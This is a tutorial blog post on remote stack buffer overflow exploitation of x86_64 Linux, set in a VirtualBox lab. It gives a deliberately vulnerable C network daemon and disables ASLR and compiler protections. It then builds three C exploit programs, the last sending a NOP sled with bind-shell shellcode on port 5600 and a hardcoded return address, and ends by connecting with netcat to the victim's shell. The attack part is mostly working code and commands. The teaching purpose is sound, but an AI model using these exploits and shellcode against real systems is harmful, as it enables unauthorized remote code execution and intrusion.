by : Antonius -bluedragonsec.com
https://github.com/bluedragonsecurity
This guide is about basic of remote stack overflow exploitation on x86_64 linux. This one is the first guide from a series.
For this exercise, the target server uses guest os: x86_64 lubuntu 24.04 with ip address 192.168.56.102 running on virtualbox while the attacker uses host os: x86_64 kali linux with ip address 192.168.56.1.
The stack serves as a highly organized temporary storage for everything a function needs while the program is running.
The stack is a critical memory area for managing the flow of a program. On 64 bit Linux systems (x86_64), understanding the stack is essential for debugging, security exploitation, and code optimization.
The stack is a LIFO (Last In, First Out) data structure. Think of it like a pile of plates, the last plate placed on top is the first one to be picked up.
On Linux x86_64, the stack grows downward (toward lower memory addresses). There are two main registers that manage this:
• RSP (Stack Pointer): Points to the current top address of the stack.
• RBP (Base Pointer / Frame Pointer): Points to the base of the current function’s stack frame (optional, but commonly used for debugging).
On 64 bit Linux, the stack grows downward (Grows Down), meaning from high memory addresses to lower memory addresses.
However, the process of writing data (for example memcpy, strcpy) moves from low addresses to high addresses.
To make it easier to understand, imagine the stack as a pile of books on the floor:
1. Stack Direction (Grows Down): When a function is called, the system places a new “book” (Stack Frame) below the existing ones. So the bottom of the pile has a smaller (lower) memory address.
2. Write/Overflow Direction (Writes Up): When you fill a variable (like buffer[64]), the filling starts from the variable’s starting address and moves upward toward higher addresses.
So if a new buffer is initialized in the program code, the pointer for that buffer will contain a memory address at a lower location. Buffer Pointer: Contains the starting address (for example: 0x100).
When data is written, for instance with memcpy, it fills address 0x100, then 0x101, 0x102, and so on.
A Stack Frame (also called an Activation Record) is a block of memory inside the stack allocated specifically for one function call. Every time a function is called, a new frame is “pushed” onto the stack.
The contents of a Stack Frame typically include:
1. Function Arguments: Values sent to the function (although on x86_64, the first 6 arguments are typically passed through registers).
2. Return Address: The instruction address that must be executed after the function finishes.
3. Saved RBP: The base pointer address from the previous (caller) function.
4. Local Variables: Variables declared inside that function.
Here is an illustration of a stack frame during a function call:

Function arguments are stored in registers starting from register RDI, RSI, and so on. The stack is only used if the function has more than 6 arguments.
Unlike 32 bit systems that pass all arguments through the stack, Linux 64 bit uses the System V ABI. Here is the sequence of events when a function is called:
Step 1: Setup (Prolog)
When function A calls function B:
1. Return Address is pushed onto the stack automatically by the CALL instruction.
2. Function B saves the old RBP to the stack: push rbp.
3. RBP is updated to the current RSP position: mov rbp, rsp. This marks the beginning of a new frame.
4. RSP is decremented to make room for local variables: sub rsp, [size].
Step 2: Execution
The function runs. Local variables are accessed using offsets from RBP (for example: [rbp-8]).
Step 3: Cleanup (Epilog)
After the function finishes:
1. Local variable space is cleaned up: mov rsp, rbp or add rsp, [size].
2. The old RBP is restored: pop rbp.
3. The RET instruction takes the return address from the top of the stack and jumps back to the calling function.
The core of stack overflow exploitation is using the weakness of unbounded data input to climb up the memory stack until reaching and modifying the Return Address.
How do we change this return address? By overflowing the buffer contents until it eventually overwrites the return address. When the function finishes executing, before the ret instruction there will be a leave instruction, and this leave instruction will cause rsp to be filled with the return address that we previously overwrote.
Next, when the function finishes being called the CPU will execute the ret (return) instruction.
When the CPU encounters the ret instruction, it does two things:
1. POP: The CPU takes (pops) the 8 byte value located at the address pointed to by RSP (Top of the Stack).
2. JMP: The CPU puts that value into the RIP (Instruction Pointer) register.
Exploiting a Remote Stack Overflow on 64 bit Linux systems (x86_64) is a technique where the attacker sends excessive data to an application running on a server to overflow the buffer on the stack and hijack the program’s execution flow remotely, in other words the attacker can achieve RCE on the target server.
Here is an illustration of the stack frame and return address on linux x64 when a stack overflow occurs:
Press enter or click to view image in full size

For this exercise, the target server uses guest os: lubuntu 24.04 with ip address 192.168.56.102 running on virtualbox while the attacker uses host os: kali linux with ip address 192.168.56.1.
Next install dnsmasq:
sudo apt install dnsmasq
Then start it:
systemctl start dnsmasq
After dnsmasq is installed and running, we want hostname victim to resolve as 192.168.56.102 for convenience later. Next edit /etc/dnsmasq.conf
sudo nano /etc/dnsmasq.conf
Add this to dnsmasq:
address=/victim/192.168.56.102
then save and restart dnsmasq:
systemctl restart dnsmasq
Then edit /etc/resolv.conf:
sudo nano /etc/resolv.conf
add this line:
nameserver 127.0.0.1
Here is the source code of the vulnerable daemon running on the target server in virtualbox:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void handle_client(int client_sock) {
char buffer[64];
char input[512];
int n = recv(client_sock, input, sizeof(input) - 1, 0);
if (n > 0) {
input[n] = '\0';
memcpy(buffer, input, sizeof(input));
printf("Received: %s\n", buffer);
}
}
int main() {
int server_fd, client_sock;
struct sockaddr_in server_addr;
server_fd = socket(AF_INET, SOCK_STREAM, 0);
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(8888);
bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
listen(server_fd, 5);
printf("Daemon listening on port 8888...\n");
while (1) {
client_sock = accept(server_fd, NULL, NULL);
if (fork() == 0) {
close(server_fd);
handle_client(client_sock);
close(client_sock);
exit(0);
}
}
return 0;
}
Save it as vuln.c then compile and run it on the target server:
compile on the victim server:
gcc -o vuln vuln.c -z execstack -fno-stack-protector -fno-pie -no-pie -D_FORTIFY_SOURCE=0
Before running this daemon application we first disable ASLR protection on the target server.
On the target server (lubuntu os), open a terminal and type:
sudo echo 0 > /proc/sys/kernel/randomize_va_space
Then run the vulnerable sample daemon on the victim server:
./vuln
The daemon will open port 8888 on the server and be ready to receive input from clients. This daemon has a stack overflow bug where there is a stack buffer of 64 bytes in the source code
char buffer[64];
in this application a stack buffer of 512 bytes is also initialized:
char input[512];
The 512 byte buffer is used to store input from the client, and then the entire content of the client input buffer will be copied into the first buffer which is only 64 bytes.
If the client input is more than 64 bytes then a bug called stack buffer overflow will occur.
This happens because there is no bounds checking in the memcpy function call:
memcpy(buffer, input, sizeof(input));
If a buffer overflow bug occurs on the stack in 64 bit linux, an attacker can manipulate the return address memory contents to make the program execute according to the attacker’s wishes, or if the function contains a leave instruction, we can overwrite the saved rbp, because the leave instruction is equivalent to mov rsp, rbp; pop rbp (stack pivoting).
We will debug the child process of the vuln daemon application while it is running. We will attach its process to gdb, open another terminal and type:
ps aux | grep vuln
For example the output looks like:
robohax 2602 0.0 0.0 2680 1180 pts/0 S+ 22:14 0:00 ./vuln
then the pid (process id) we need to attach is 2602. On the target server run gdb to attach pid 2602, type:
sudo su
gdb -p 2602
Next in the gdb console type:
set follow-fork-mode child
cont
We debug the child process of the vuln daemon application because this daemon uses the fork function which creates a new child process for every new client that needs to be handled.
Our first goal is to overwrite 8 bytes on the saved rbp, why?
Look at the disassembly of the handle_client function:
0000000000401296 <handle_client>:
401296: f3 0f 1e fa endbr64
40129a: 55 push %rbp
40129b: 48 89 e5 mov %rsp,%rbp
40129e: 48 81 ec 60 02 00 00 sub $0x260,%rsp
4012a5: 89 bd ac fd ff ff mov %edi,-0x254(%rbp)
4012ab: 48 8d b5 b0 fd ff ff lea -0x250(%rbp),%rsi
4012b2: 8b 85 ac fd ff ff mov -0x254(%rbp),%eax
4012b8: b9 00 00 00 00 mov $0x0,%ecx
4012bd: ba ff 01 00 00 mov $0x1ff,%edx
4012c2: 89 c7 mov %eax,%edi
4012c4: e8 27 fe ff ff call 4010f0 <recv@plt>
4012c9: 89 45 fc mov %eax,-0x4(%rbp)
4012cc: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
4012d0: 7e 3e jle 401310 <handle_client+0x7a>
4012d2: 8b 45 fc mov -0x4(%rbp),%eax
4012d5: 48 98 cltq
4012d7: c6 84 05 b0 fd ff ff movb $0x0,-0x250(%rbp,%rax,1)
4012de: 00
4012df: 48 8d 8d b0 fd ff ff lea -0x250(%rbp),%rcx
4012e6: 48 8d 45 b0 lea -0x50(%rbp),%rax
4012ea: ba 00 02 00 00 mov $0x200,%edx
4012ef: 48 89 ce mov %rcx,%rsi
4012f2: 48 89 c7 mov %rax,%rdi
4012f5: e8 46 fe ff ff call 401140 <memcpy@plt>
4012fa: 48 8d 45 b0 lea -0x50(%rbp),%rax
4012fe: 48 89 c6 mov %rax,%rsi
401301: bf 08 20 40 00 mov $0x402008,%edi
401306: b8 00 00 00 00 mov $0x0,%eax
40130b: e8 10 fe ff ff call 401120 <printf@plt>
401310: 90 nop
401311: c9 leave
401312: c3 ret
Notice there is a leave instruction at 401311, where that instruction will cause the top of the stack to be overwritten by the contents of saved rbp.
Why 8 bytes? Because memory addresses on 64 bit are 8 bytes long, we need to overwrite the top of the stack with exactly 8 bytes.
Remember! When the function calls ret, the 8 byte content at the top of the stack is what will become the return address. This return address is what will be loaded into the RIP register to direct the program to the memory address containing the next instruction.
So that we dont get confused about how many bytes are needed right before the input data starts overwriting the return address, we need a special string pattern as a marker, then we just check at what offset before that marker.
We will use pattern_create and pattern_offset from metasploit.
In the terminal, type:
msf-pattern_create -l 512
The result:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
Copy this entire string then pipe it with netcat to port 8888 on the victim server with hostname victim:
echo
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3
Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7A
e8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A
h3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3A
m4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6A
o7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar" |
nc victim 8888
Go back to the victim server, we look at the gdb window and the child process experiences a segmentation fault which means a buffer overflow has occurred. In the gdb window type: info registers
Next we will examine the contents of the top of the stack, in the gdb window type:
x/20gx $rsp
Press enter or click to view image in full size

The command above means:
x: Examine (inspect memory).
20: Display 20 units.
g: Unit Giant word, which on 64 bit architecture means 8 bytes.
x: Display in hexadecimal format
the purpose is to examine the memory contents for 20 units starting from the memory address pointed to by register rsp.
We can see the pattern we created earlier: 0x3164413064413963
Next we find its offset with pattern offset, type:
msf-pattern_offset -q 3164413064413963
Result:
[*] Exact match at offset 88
So we need an input length of 88 bytes.
To test this, prepare a file named: exploit1.c
with the following content:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
int main() {
int sock;
struct sockaddr_in target;
struct addrinfo hints, *res;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
char payload[500];
if (getaddrinfo("victim", "8888", &hints, &res) != 0) {
perror("Failed to resolve hostname");
return 1;
}
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
memset(payload, 0x90, sizeof(payload));
/* will become the return address during ret */
memset(payload + 88, 'B', 8);
memset(payload + 96, 'C', 8);
sock = socket(AF_INET, SOCK_STREAM, 0);
target.sin_addr = addr->sin_addr;
target.sin_family = AF_INET;
target.sin_port = htons(8888);
inet_pton(AF_INET, "victim", &target.sin_addr);
connect(sock, (struct sockaddr *)&target, sizeof(target));
send(sock, payload, 500, 0);
close(sock);
return 0;
}
Then compile with gcc:
gcc -o exploit1 exploit1.c
The exploit above will try to send a packet to the daemon containing character A (0x41 hex) for 85 bytes followed by character B (0x42 hex) for 8 bytes and character C (0x43 hex) for 8 bytes, the goal is to test whether the return address contents will become 0x42 hex for 8 bytes.
Go back to the gdb window on the target server, type: quit
Then repeat the pid attach from earlier:
gdb -p 4974
in the gdb console type:
set follow-fork-mode child
cont
Go back to kali linux, then run:
./exploit1
Go back to the target server, we can see the daemon crashes with a segmentation fault in the gdb window.
Type: x/10x $rsp
Result:
Press enter or click to view image in full size

We can see the top of the stack which should contain the return address is now 0x42 hex for 8 bytes. Later we just need to replace the 8 bytes of character B in the exploit with a return address which is a memory address on the stack where later we will place a nop sled followed by bind shell shellcode.
Let us break down what happens behind the scenes. For a clearer picture look at this stack frame:
1. Our Payload:
• Buffer: 64 bytes.
• Input: 8 bytes (A) + 80 bytes (B) + 8 bytes © = 96 bytes + junk 0x90 for 404 bytes.
2. What Happens to the Stack Frame?
Press enter or click to view image in full size

When memcpy finishes, the memory layout on the stack will look like this (from low address to high):
1. Buffer (64 bytes): Filled with ‘A’ and some ‘B’.
2. Saved RBP (8 bytes): Filled with remaining ‘B’ characters.
3. Return Address (8 bytes): Filled with ‘C’ characters.
3. Why does rsp Contain Character ‘C’?
The key is in the leave and ret instructions that execute right before the SIGSEGV occurs.
Step A: The leave Instruction
This instruction is meant to tear down the stack frame. The leave instruction is equivalent to:
1. mov rsp, rbp
2. pop rbp (Takes the value from the stack into the rbp register).
Step B: The ret Instruction
After leave, the next instruction is ret. ret internally does:
1. pop rip (Takes the value at the current top of the stack and puts it into the Instruction Pointer).
Because pop rbp was just performed, the top of the stack (rsp) now points exactly to the Return Address location that we already overwrote with character ‘C’.
When ret tries to execute pop rip, the processor will take the value ‘C’ (0x43434343…) to be used as the jump target address. Since 0x43434343 is usually not a valid memory address or not allowed for execution, the CPU triggers a Segmentation Fault (SIGSEGV).
nop (0x90) means no operation, if we direct the program flow to a memory address containing nop, this is actually an alias for the instruction xchg eax, eax. Since this operation does not change the state of registers, memory, or flags, the processor considers it as doing nothing other than spending one CPU cycle and moving to the next instruction.
In buffer overflow exploitation, 0x90 is used to create a technique called NOP Sled or NOP Slide.
When performing exploitation, it is very difficult for an attacker to guess the exact memory address where the shellcode (malicious code) is located. If the address guess is off by even one byte, the program will crash.
How it works:
1. Target Padding: The attacker fills memory with hundreds or thousands of 0x90 instructions before the actual shellcode.
2. Sliding Effect: If the attacker directs execution (RIP/EIP) to anywhere inside that pile of 0x90, the CPU will do nothing and keep “sliding” down one by one.
3. Shellcode Execution: Eventually, the execution flow will reach the shellcode at the end of that NOP pile and execute it successfully.
Shellcode is a collection of machine instructions (opcodes) used as payload in software vulnerability exploitation (such as buffer overflow).
It is called “shellcode” because historically, the main purpose of this code was to give the attacker access to a shell or execute certain commands so they can control the target system according to the attacker’s wishes.
For this exercise we will use bind shell shellcode on port 5600 which I took from here:
https://www.exploit-db.com/exploits/41128
That shellcode is clean from the \x00 character (0 hex), why?
Most standard C string manipulation functions (like strcpy, strcat, gets, or printf) treat \x00 (0 hex) as a sign that a string has ended.
If we try to insert a payload (like shellcode) into a program through those functions, the copying process will stop immediately when it reaches the \x00 character. As a result, the rest of the shellcode will never make it into memory (stack/heap), and the exploitation fails.
So the shellcode used must not contain \x00
We will try to insert the shellcode and a 100 byte nop sled into our second exploit framework, the goal is so we can later see the shellcode position in memory during debugging.
Second exploit framework:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
int main() {
int sock;
struct sockaddr_in target;
struct addrinfo hints, *res;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
char payload[500];
if (getaddrinfo("victim", "8888", &hints, &res) != 0) {
perror("Failed to resolve hostname");
return 1;
}
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
char
shellcode[]="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97
\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32
\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52
\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";
memset(payload, 0x90, sizeof(payload));
/* will become the return address during ret */
memset(payload + 88, 'B', 8);
memset(payload + 96, 0x90, 100);
memcpy(payload + 196, shellcode, sizeof(shellcode) - 1);
sock = socket(AF_INET, SOCK_STREAM, 0);
target.sin_addr = addr->sin_addr;
target.sin_family = AF_INET;
target.sin_port = htons(8888);
inet_pton(AF_INET, "victim", &target.sin_addr);
connect(sock, (struct sockaddr *)&target, sizeof(target));
send(sock, payload, 500, 0);
close(sock);
return 0;
}
save as exploit2.c then compile with gcc:
gcc -o exploit2 exploit2.c
Go back to the target server (victim), run vuln:
./vuln
Then attach its pid to gdb:
ps aux | grep vuln
for example the output:
root@robohax-virtualbox:/home/robohax# ps aux | grep vuln
robohax 2760 0.0 0.0 2680 1176 pts/0 S+ 11:11 0:00 ./vuln
we attach pid 2760 to gdb:
sudo su
gdb -p 2760
Next in the gdb console type:
set follow-fork-mode child
cont
Go back to the kali linux machine, we run the second exploit:
./exploit2
Go back to the target victim server, the daemon being debugged will crash. In the gdb window type:
x/50gx $rsp
Example result:
Press enter or click to view image in full size

we have several memory addresses that we can use as return address, look at this:
0x7fffffffdd68: 0x9090909090909090 0x9090909090909090
0x7fffffffdd78: 0x9090909090909090 0x9090909090909090
0x7fffffffdd88: 0x9090909090909090 0x9090909090909090
0x7fffffffdd98: 0x9090909090909090 0x9090909090909090
0x7fffffffdda8: 0x9090909090909090 0x9090909090909090
0x7fffffffddb8: 0x9090909090909090 0x48c0314890909090
we can see our shellcode after the nop sled:
0x48c0314890909090
0x7fffffffddc8: 0x6ac6fff63148d231 0x48050f5f026a5829
0x7fffffffddd8: 0x022444c766026a97 0x58316a525e54e015
0x7fffffffdde8: 0x326a5e050f5a106a 0x050f582b6a050f58
0x7fffffffddf8: 0xb0ceff5e036a9748 0x52e6f7f875050f21
0x7fffffffde08: 0x2f2f6e69622fbb48 0xb0243c8d48536873
the shellcode is arranged in little endian because this is an x64 machine.
For this example I will use return address:
0x7fffffffdda8
At that memory address it is already filled with nop sled which will eventually slide down to our shellcode.
Next, go back to kali linux, we create our final exploit:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
int main() {
int sock;
struct sockaddr_in target;
struct addrinfo hints, *res;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
char payload[500];
if (getaddrinfo("victim", "8888", &hints, &res) != 0) {
perror("Failed to resolve hostname");
return 1;
}
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
char
shellcode[]="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97
\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32
\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52
\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";
unsigned long ret_addr = 0x7fffffffdda8;
memset(payload, 0x90, sizeof(payload));
/* will become the return address during ret */
memcpy(payload + 88, &ret_addr, 8);
memset(payload + 96, 0x90, 100);
memcpy(payload + 196, shellcode, sizeof(shellcode) - 1);
sock = socket(AF_INET, SOCK_STREAM, 0);
target.sin_addr = addr->sin_addr;
target.sin_family = AF_INET;
target.sin_port = htons(8888);
inet_pton(AF_INET, "victim", &target.sin_addr);
connect(sock, (struct sockaddr *)&target, sizeof(target));
send(sock, payload, 500, 0);
close(sock);
return 0;
}
save as exploit3.c
Go back to the victim server, exit from gdb:
quit
Go back to kali linux, compile and run exploit3:
gcc -o exploit3 exploit3.c
./exploit3
If the exploit is successful then we can get a shell on the victim machine with netcat:
type:
nc victim 5600

We successfully connected to bind shell on our target machine.
I do low level vulnerability research & hardware hacking (main focus : robotics).
Hobbies